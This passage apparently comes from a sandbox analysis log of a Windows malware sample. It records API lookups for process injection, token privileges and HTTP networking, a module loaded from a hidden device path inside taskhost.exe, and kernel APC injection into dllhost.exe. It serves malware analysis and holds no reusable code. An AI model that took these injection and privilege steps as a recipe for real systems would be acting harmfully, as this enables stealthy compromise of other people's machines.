(hModule=0x77c50000, lpProcName="_snwprintf") returned 0x77cd8b8c [0115.133] GetProcAddress (hModule=0x77c50000, lpProcName="_stricmp") returned 0x77c8c5ec [0115.133] GetProcAddress (hModule=0x77c50000, lpProcName="RtlEqualUnicodeString") returned 0x77ca59a0 [0115.133] GetProcAddress (hModule=0x77c50000, lpProcName="ZwQuerySystemInformation") returned 0x77ca1670 [0115.133] GetProcAddress (hModule=0x77c50000, lpProcName="ZwSetInformationToken") returned 0x77ca2920 [0115.133] GetProcAddress (hModule=0x77c50000, lpProcName="ZwDuplicateToken") returned 0x77ca1730 [0115.133] GetProcAddress (hModule=0x77c50000, lpProcName="ZwClose") returned 0x77ca1400 [0115.134] GetProcAddress (hModule=0x77c50000, lpProcName="ZwAdjustPrivilegesToken") returned 0x77ca1720 [0115.134] GetProcAddress (hModule=0x77c50000, lpProcName="ZwOpenProcessToken") returned 0x77ca22d0 [0115.134] GetProcAddress (hModule=0x77c50000, lpProcName="strstr") returned 0x77cdac00 [0115.134] GetProcAddress (hModule=0x77c50000, lpProcName="atol") returned 0x77c565ec [0115.134] GetProcAddress (hModule=0x77c50000, lpProcName="sprintf") returned 0x77cda738 [0115.134] GetProcAddress (hModule=0x77c50000, lpProcName="strncat") returned 0x77c9fc40 [0115.134] GetProcAddress (hModule=0x77c50000, lpProcName="strchr") returned 0x77c7c900 [0115.134] GetProcAddress (hModule=0x77c50000, lpProcName="strrchr") returned 0x77cdab0c [0115.134] GetProcAddress (hModule=0x77c50000, lpProcName="ispunct") returned 0x77cd8620 [0115.134] GetProcAddress (hModule=0x77c50000, lpProcName="isalnum") returned 0x77cd8644 [0115.134] GetProcAddress (hModule=0x77c50000, lpProcName="strncpy") returned 0x77c9fec0 [0115.134] GetProcAddress (hModule=0x77c50000, lpProcName="RtlComputeCrc32") returned 0x77c5c7b0 [0115.134] GetProcAddress (hModule=0x77c50000, lpProcName="_snprintf") returned 0x77cd8ae0 [0115.134] GetProcAddress (hModule=0x77c50000, lpProcName="memcmp") returned 0x77c9ea60 [0115.134] GetProcAddress (hModule=0x77c50000, lpProcName="__chkstk") returned 0x77ca0dd0 [0115.134] GetProcAddress (hModule=0x77c50000, lpProcName="strncmp") returned 0x77c9fdf0 [0115.135] GetProcAddress (hModule=0x77c50000, lpProcName="atoi") returned 0x77c565e4 [0115.135] GetProcAddress (hModule=0x77c50000, lpProcName="memset") returned 0x77ca2ed0 [0115.135] GetProcAddress (hModule=0x77c50000, lpProcName="memcpy") returned 0x77c9e6d0 [0115.135] GetModuleHandleA (lpModuleName="WININET.dll") returned 0x7fefef80000 [0115.135] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetReadFile") returned 0x7fefef93914 [0115.135] GetProcAddress (hModule=0x7fefef80000, lpProcName="HttpQueryInfoW") returned 0x7fefefb4600 [0115.135] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetSetOptionW") returned 0x7fefef8ff20 [0115.135] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetQueryOptionW") returned 0x7fefefa1ab8 [0115.135] GetProcAddress (hModule=0x7fefef80000, lpProcName="HttpSendRequestA") returned 0x7fefefff600 [0115.135] GetProcAddress (hModule=0x7fefef80000, lpProcName="HttpOpenRequestA") returned 0x7fefefb3910 [0115.135] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetConnectA") returned 0x7fefefb3130 [0115.135] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetOpenA") returned 0x7fefef99098 [0115.135] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetCloseHandle") returned 0x7fefef95594 [0115.136] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetCrackUrlA") returned 0x7fefefe0b4c [0115.136] GetModuleHandleA (lpModuleName="SHLWAPI.dll") returned 0x7feff4f0000 [0115.136] GetProcAddress (hModule=0x7feff4f0000, lpProcName="StrStrIA") returned 0x7feff4f5a1c [0115.136] GetProcAddress (hModule=0x7feff4f0000, lpProcName="SHGetValueA") returned 0x7feff4f4e50 [0115.136] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathFindFileNameA") returned 0x7feff4f86c4 [0115.136] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathRemoveBackslashA") returned 0x7feff519e70 [0115.136] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathFindExtensionA") returned 0x7feff51b358 [0115.136] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathFileExistsA") returned 0x7feff51b4d4 [0115.136] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathAppendA") returned 0x7feff4f5710 [0115.136] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathRemoveFileSpecA") returned 0x7feff51bbb4 [0115.136] GetModuleHandleA (lpModuleName="imagehlp.dll") returned 0x7feffb50000 [0115.136] GetProcAddress (hModule=0x7feffb50000, lpProcName="MapFileAndCheckSumA") returned 0x7feffb556ec [0115.136] GetModuleHandleA (lpModuleName="PSAPI.DLL") returned 0x77e20000 [0115.136] GetProcAddress (hModule=0x77e20000, lpProcName="GetModuleFileNameExA") returned 0x77e21268 [0115.136] GetModuleHandleA (lpModuleName="KERNEL32.dll") returned 0x77a30000 [0115.136] GetProcAddress (hModule=0x77a30000, lpProcName="CreateFileA") returned 0x77a531f0 [0115.137] GetProcAddress (hModule=0x77a30000, lpProcName="SystemTimeToFileTime") returned 0x77a53560 [0115.137] GetProcAddress (hModule=0x77a30000, lpProcName="GetVersionExA") returned 0x77a470c0 [0115.137] GetProcAddress (hModule=0x77a30000, lpProcName="GetLocaleInfoA") returned 0x77a40210 [0115.137] GetProcAddress (hModule=0x77a30000, lpProcName="GetWindowsDirectoryA") returned 0x77a7bfb0 [0115.137] GetProcAddress (hModule=0x77a30000, lpProcName="GetTickCount") returned 0x77a52b00 [0115.137] GetProcAddress (hModule=0x77a30000, lpProcName="GetCommandLineA") returned 0x77a51e70 [0115.137] GetProcAddress (hModule=0x77a30000, lpProcName="SetUnhandledExceptionFilter") returned 0x77a49b70 [0115.137] GetProcAddress (hModule=0x77a30000, lpProcName="LocalFree") returned 0x77a447a0 [0115.137] GetProcAddress (hModule=0x77a30000, lpProcName="SetWaitableTimer") returned 0x77a38890 [0115.137] GetProcAddress (hModule=0x77a30000, lpProcName="CreateWaitableTimerA") returned 0x77a90da0 [0115.137] GetProcAddress (hModule=0x77a30000, lpProcName="CreateThread") returned 0x77a46580 [0115.137] GetProcAddress (hModule=0x77a30000, lpProcName="CopyFileA") returned 0x77ac5620 [0115.137] GetProcAddress (hModule=0x77a30000, lpProcName="UnmapViewOfFile") returned 0x77a53580 [0115.137] GetProcAddress (hModule=0x77a30000, lpProcName="MapViewOfFile") returned 0x77a3e390 [0115.137] GetProcAddress (hModule=0x77a30000, lpProcName="CreateFileMappingA") returned 0x77a3ead0 [0115.137] GetProcAddress (hModule=0x77a30000, lpProcName="GetModuleHandleA") returned 0x77a465e0 [0115.138] GetProcAddress (hModule=0x77a30000, lpProcName="RemoveDirectoryA") returned 0x77a7bdb0 [0115.138] GetProcAddress (hModule=0x77a30000, lpProcName="DeleteFileA") returned 0x77a414e0 [0115.138] GetProcAddress (hModule=0x77a30000, lpProcName="CreateDirectoryA") returned 0x77a7c5b0 [0115.138] GetProcAddress (hModule=0x77a30000, lpProcName="GetTempPathA") returned 0x77a92060 [0115.138] GetProcAddress (hModule=0x77a30000, lpProcName="ExitProcess") returned 0x77c740f0 [0115.138] GetProcAddress (hModule=0x77a30000, lpProcName="GetSystemTimeAsFileTime") returned 0x77a43f40 [0115.138] GetProcAddress (hModule=0x77a30000, lpProcName="LoadLibraryA") returned 0x77a47070 [0115.138] GetProcAddress (hModule=0x77a30000, lpProcName="OpenProcess") returned 0x77a4cad0 [0115.138] GetProcAddress (hModule=0x77a30000, lpProcName="OpenMutexA") returned 0x77a32ce0 [0115.138] GetProcAddress (hModule=0x77a30000, lpProcName="GetSystemInfo") returned 0x77a46f70 [0115.138] GetProcAddress (hModule=0x77a30000, lpProcName="QueueUserWorkItem") returned 0x77a41370 [0115.138] GetProcAddress (hModule=0x77a30000, lpProcName="Sleep") returned 0x77a52b70 [0115.138] GetProcAddress (hModule=0x77a30000, lpProcName="TerminateProcess") returned 0x77a7bca0 [0115.138] GetProcAddress (hModule=0x77a30000, lpProcName="ResumeThread") returned 0x77a413a0 [0115.138] GetProcAddress (hModule=0x77a30000, lpProcName="Wow64SetThreadContext") returned 0x77a7af70 [0115.139] GetProcAddress (hModule=0x77a30000, lpProcName="Wow64GetThreadContext") returned 0x77a7afa0 [0115.139] GetProcAddress (hModule=0x77a30000, lpProcName="WriteProcessMemory") returned 0x77a7bad0 [0115.139] GetProcAddress (hModule=0x77a30000, lpProcName="VirtualAllocEx") returned 0x77a7bbd0 [0115.139] GetProcAddress (hModule=0x77a30000, lpProcName="CreateProcessA") returned 0x77ac8840 [0115.139] GetProcAddress (hModule=0x77a30000, lpProcName="GetModuleFileNameA") returned 0x77a464a0 [0115.139] GetProcAddress (hModule=0x77a30000, lpProcName="LeaveCriticalSection") returned 0x77ca3000 [0115.139] GetProcAddress (hModule=0x77a30000, lpProcName="EnterCriticalSection") returned 0x77ca2fc0 [0115.139] GetProcAddress (hModule=0x77a30000, lpProcName="HeapCreate") returned 0x77a470e0 [0115.139] GetProcAddress (hModule=0x77a30000, lpProcName="HeapDestroy") returned 0x77a41490 [0115.139] GetProcAddress (hModule=0x77a30000, lpProcName="HeapAlloc") returned 0x77ca33a0 [0115.139] GetProcAddress (hModule=0x77a30000, lpProcName="HeapReAlloc") returned 0x77c83f20 [0115.139] GetProcAddress (hModule=0x77a30000, lpProcName="HeapFree") returned 0x77a53070 [0115.139] GetProcAddress (hModule=0x77a30000, lpProcName="VirtualAlloc") returned 0x77a467a0 [0115.139] GetProcAddress (hModule=0x77a30000, lpProcName="VirtualFree") returned 0x77a41260 [0115.139] GetProcAddress (hModule=0x77a30000, lpProcName="GetProcAddress") returned 0x77a53690 [0115.139] GetProcAddress (hModule=0x77a30000, lpProcName="CreateMutexA") returned 0x77a47210 [0115.140] GetProcAddress (hModule=0x77a30000, lpProcName="GetLastError") returned 0x77a52dd0 [0115.140] GetProcAddress (hModule=0x77a30000, lpProcName="WaitForSingleObject") returned 0x77a52b20 [0115.140] GetProcAddress (hModule=0x77a30000, lpProcName="ReleaseMutex") returned 0x77a52b90 [0115.140] GetProcAddress (hModule=0x77a30000, lpProcName="WritePrivateProfileStringA") returned 0x77ab16b0 [0115.140] GetProcAddress (hModule=0x77a30000, lpProcName="GetPrivateProfileStringA") returned 0x77ab1720 [0115.140] GetProcAddress (hModule=0x77a30000, lpProcName="GetPrivateProfileIntA") returned 0x77ab18b0 [0115.140] GetProcAddress (hModule=0x77a30000, lpProcName="GetPrivateProfileSectionA") returned 0x77ab1600 [0115.140] GetProcAddress (hModule=0x77a30000, lpProcName="InitializeCriticalSection") returned 0x77c78100 [0115.140] GetProcAddress (hModule=0x77a30000, lpProcName="GetFileSize") returned 0x77a3f9d0 [0115.140] GetProcAddress (hModule=0x77a30000, lpProcName="CloseHandle") returned 0x77a52f80 [0115.140] GetProcAddress (hModule=0x77a30000, lpProcName="ReadFile") returned 0x77a41500 [0115.140] GetProcAddress (hModule=0x77a30000, lpProcName="WriteFile") returned 0x77a535a0 [0115.140] GetProcAddress (hModule=0x77a30000, lpProcName="SetEndOfFile") returned 0x77a7bd70 [0115.140] GetProcAddress (hModule=0x77a30000, lpProcName="FlushFileBuffers") returned 0x77a369f0 [0115.140] GetModuleHandleA (lpModuleName="ADVAPI32.dll") returned 0x7fefed20000 [0115.140] GetProcAddress (hModule=0x7fefed20000, lpProcName="ConvertStringSecurityDescriptorToSecurityDescriptorW") returned 0x7fefed32040 [0115.141] GetProcAddress (hModule=0x7fefed20000, lpProcName="SetSecurityInfo") returned 0x7fefed28420 [0115.141] GetProcAddress (hModule=0x7fefed20000, lpProcName="GetSecurityDescriptorSacl") returned 0x7fefed31e00 [0115.141] GetProcAddress (hModule=0x7fefed20000, lpProcName="CreateProcessAsUserA") returned 0x7fefed6a1a0 [0115.141] GetProcAddress (hModule=0x7fefed20000, lpProcName="AdjustTokenPrivileges") returned 0x7fefed3b9b0 [0115.141] GetProcAddress (hModule=0x7fefed20000, lpProcName="LookupPrivilegeValueA") returned 0x7fefed21a00 [0115.141] GetProcAddress (hModule=0x7fefed20000, lpProcName="OpenProcessToken") returned 0x7fefed3bd70 [0115.141] GetModuleHandleA (lpModuleName="USER32.dll") returned 0x77b50000 [0115.141] GetProcAddress (hModule=0x77b50000, lpProcName="ExitWindowsEx") returned 0x77ba14e0 [0115.141] GetModuleHandleA (lpModuleName="ole32.dll") returned 0x7feff940000 [0115.141] GetProcAddress (hModule=0x7feff940000, lpProcName="CoCreateInstance") returned 0x7feff967490 [0115.143] PathRemoveFileSpecA (in: pszPath="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cmd64.dll" | out: pszPath="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c") returned 1 [0115.143] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x1e310, nSize=0x3ff | out: lpFilename="C:\\Windows\\system32\\taskhost.exe") returned 0x20 [0115.143] PathFindFileNameA (pszPath="C:\\Windows\\system32\\taskhost.exe") returned="taskhost.exe" [0115.143] GetCommandLineA () returned="taskhost.exe SYSTEM" [0115.143] _strcmpi (_Str1="taskhost.exe", _Str2="svchost.exe") returned 1 [0115.143] StrStrIA (lpFirst="taskhost.exe", lpSrch="wermgr.exe") returned 0x0 [0115.144] HeapDestroy (hHeap=0xe60000) returned 1 [0115.148] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\cryptbase.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 522 os_tid = 0x21c Thread: id = 523 os_tid = 0x32c Thread: id = 526 os_tid = 0x328 Thread: id = 527 os_tid = 0x324 [0115.396] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\clbcatq.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0115.398] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\dimsjob.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0115.399] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\taskschd.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0115.401] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\sspicli.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0115.411] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\netprofm.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0115.411] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\nsi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0115.411] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\nlaapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0115.414] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\cryptsp.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0115.420] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\rsaenh.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0115.421] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\RpcRtRemote.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0115.428] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\npmproxy.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0115.430] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\pautoenr.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0115.437] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\Wldap32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0115.438] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\certcli.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0115.439] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\atl.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0115.439] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\CertEnroll.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0115.441] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\dsrole.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 528 os_tid = 0x548 Thread: id = 529 os_tid = 0x34c Process: id = "36" image_name = "dllhost.exe" filename = "c:\\windows\\system32\\dllhost.exe" page_root = "0x6ff18000" os_pid = "0x348" monitor_reason = "child_process" parent_id = "14" os_parent_pid = "0x250" cmd_line = "C:\\Windows\\system32\\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}" cur_dir = "C:\\Windows\\system32\\" Region: id = 4066 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 4067 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 4068 start_va = 0xf0000 end_va = 0x1effff entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 4069 start_va = 0x77c50000 end_va = 0x77df8fff entry_point = 0x77c50000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" Region: id = 4070 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 4071 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 4072 start_va = 0xffd40000 end_va = 0xffd46fff entry_point = 0xffd4124c region_type = mapped_file name = "dllhost.exe" filename = "\\Windows\\System32\\dllhost.exe" Region: id = 4073 start_va = 0x7fefff70000 end_va = 0x7fefff70fff entry_point = 0x7fefff70000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" Region: id = 4074 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 4075 start_va = 0x7fffffdd000 end_va = 0x7fffffdefff entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 4076 start_va = 0x7fffffdf000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffdf000" filename = "" Region: id = 4077 start_va = 0x10000 end_va = 0x23fff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 4078 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = private name = "private_0x0000000000040000" filename = "" Region: id = 4079 start_va = 0x360000 end_va = 0x45ffff entry_point = 0x0 region_type = private name = "private_0x0000000000360000" filename = "" Region: id = 4080 start_va = 0x77a30000 end_va = 0x77b4efff entry_point = 0x77a45ea0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" Region: id = 4081 start_va = 0x7fefde00000 end_va = 0x7fefde6afff entry_point = 0x7fefde030e0 region_type = mapped_file name = "KernelBase.dll" filename = "\\Windows\\System32\\KernelBase.dll" Region: id = 4084 start_va = 0x50000 end_va = 0x5ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 4085 start_va = 0x60000 end_va = 0xc6fff entry_point = 0x60000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" Region: id = 4086 start_va = 0xd0000 end_va = 0xd0fff entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 4087 start_va = 0xe0000 end_va = 0xe0fff entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 4088 start_va = 0x1f0000 end_va = 0x2effff entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 4089 start_va = 0x460000 end_va = 0x5e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 4090 start_va = 0x5f0000 end_va = 0x5fffff entry_point = 0x0 region_type = private name = "private_0x00000000005f0000" filename = "" Region: id = 4091 start_va = 0x600000 end_va = 0x780fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000600000" filename = "" Region: id = 4092 start_va = 0x790000 end_va = 0x1b8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000790000" filename = "" Region: id = 4093 start_va = 0x77b50000 end_va = 0x77c49fff entry_point = 0x77b6a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" Region: id = 4094 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 4095 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 4096 start_va = 0x7feff1d0000 end_va = 0x7feff1ddfff entry_point = 0x7feff1d1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" Region: id = 4097 start_va = 0x7feff610000 end_va = 0x7feff676fff entry_point = 0x7feff61b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" Region: id = 4098 start_va = 0x7feff940000 end_va = 0x7feffb42fff entry_point = 0x7feff963330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" Region: id = 4099 start_va = 0x7feffb70000 end_va = 0x7feffc38fff entry_point = 0x7feffbea874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" Region: id = 4100 start_va = 0x7feffc40000 end_va = 0x7feffcdefff entry_point = 0x7feffc425a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" Region: id = 4101 start_va = 0x7feffcf0000 end_va = 0x7feffd1dfff entry_point = 0x7feffcf1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" Region: id = 4102 start_va = 0x7feffd20000 end_va = 0x7feffe4cfff entry_point = 0x7feffd6ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" Region: id = 4103 start_va = 0x7feffe50000 end_va = 0x7fefff58fff entry_point = 0x7feffe51064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" Region: id = 4104 start_va = 0x7fefdc40000 end_va = 0x7fefdc4efff entry_point = 0x7fefdc41020 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" Region: id = 4105 start_va = 0x7fefdc50000 end_va = 0x7fefddb6fff entry_point = 0x7fefdc510c0 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" Region: id = 4106 start_va = 0x7fefed00000 end_va = 0x7fefed1efff entry_point = 0x7fefed060e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" Region: id = 4107 start_va = 0x7fefed20000 end_va = 0x7fefedfafff entry_point = 0x7fefed40760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" Region: id = 4108 start_va = 0x7fefee00000 end_va = 0x7fefef77fff entry_point = 0x7fefee010e0 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\System32\\urlmon.dll" Region: id = 4109 start_va = 0x7fefef80000 end_va = 0x7feff0a9fff entry_point = 0x7fefef810d4 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\System32\\wininet.dll" Region: id = 4110 start_va = 0x7feff230000 end_va = 0x7feff306fff entry_point = 0x7feff233274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" Region: id = 4111 start_va = 0x7feff4f0000 end_va = 0x7feff560fff entry_point = 0x7feff501e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" Region: id = 4112 start_va = 0x7feff6e0000 end_va = 0x7feff938fff entry_point = 0x7feff6e1340 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" Region: id = 4113 start_va = 0x1d60000 end_va = 0x1ddffff entry_point = 0x0 region_type = private name = "private_0x0000000001d60000" filename = "" Region: id = 4114 start_va = 0x7feffb50000 end_va = 0x7feffb66fff entry_point = 0x7feffb51070 region_type = mapped_file name = "imagehlp.dll" filename = "\\Windows\\System32\\imagehlp.dll" Region: id = 4115 start_va = 0x77e20000 end_va = 0x77e26fff entry_point = 0x77e2106c region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\System32\\psapi.dll" Region: id = 4117 start_va = 0x20c0000 end_va = 0x238efff entry_point = 0x20c0000 region_type = mapped_file name = "SortDefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" Thread: id = 534 os_tid = 0x30c [0116.724] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Device\\HarddiskVolume1\\Windows\\System32\\dllhost.exe", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0116.724] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\System32\\ntdll.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0116.726] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\kernel32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 1 [0116.726] IoIs32bitProcess (Irp=0x0) returned 0 [0116.726] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x58) returned 0xfffffa8002c30fa0 [0116.726] KeInitializeApc (Apc=0xfffffa8002c30fa0, Thread=0xfffffa8003963b60, TargetEnvironment=0x0, KernelRoutine=0xfffffa80027cb10c, RundownRoutine=0x0, NormalRoutine=0x0, Mode=0xffff4a0800000000, Context=0x0) [0116.726] KeInsertQueueApc (Apc=0xfffffa8002c30fa0, SystemArgument1=0x0, SystemArgument2=0x0, PriorityBoost=0x0) returned 1 [0116.726] ExFreePoolWithTag (P=0xfffffa8002c30fa0, Tag=0x0) [0116.726] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x478) returned 0xfffffa80081efb80 [0116.726] IoGetCurrentProcess () returned 0xfffffa8003b29b30 [0116.726] PsGetCurrentProcessId () returned 0x348 [0116.726] IoIs32bitProcess (Irp=0x0) returned 0 [0116.726] KeInitializeEvent (in: Event=0xfffffa80081efbc0, Type=0x0, State=0 | out: Event=0xfffffa80081efbc0) [0116.726] ExQueueWorkItem (in: WorkItem=0xfffffa80081efb80*(List.Flink=0x0, List.Blink=0x0, WorkerRoutine=0xfffffa80027cafd8, Parameter=0xfffffa80081efb80), QueueType=0x1 | out: WorkItem=0xfffffa80081efb80*(List.Flink=0x0, List.Blink=0x0, WorkerRoutine=0xfffffa80027cafd8, Parameter=0xfffffa80081efb80)) [0116.749] KeWaitForMutexObject () returned 0x0 [0116.749] ExFreePoolWithTag (P=0xfffffa80081efb80, Tag=0x0) [0116.750] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\KernelBase.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0116.754] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\msvcrt.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0116.755] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\ole32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0116.755] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\gdi32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0116.756] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\user32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0116.756] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\lpk.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0116.757] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\usp10.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0116.757] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\rpcrt4.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0116.760] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\imm32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0116.760] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\msctf.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0116.840] LoadLibraryExA (lpLibFileName="KERNEL32", hFile=0x0, dwFlags=0x0) returned 0x77a30000 [0116.847] GetProcAddress (hModule=0x77a30000, lpProcName="GetModuleHandleA") returned 0x77a465e0 [0116.847] GetProcAddress (hModule=0x77a30000, lpProcName="GetProcAddress") returned 0x77a53690 [0116.847] LoadLibraryExA (lpLibFileName="ntdll.dll", hFile=0x0, dwFlags=0x0) returned 0x77c50000 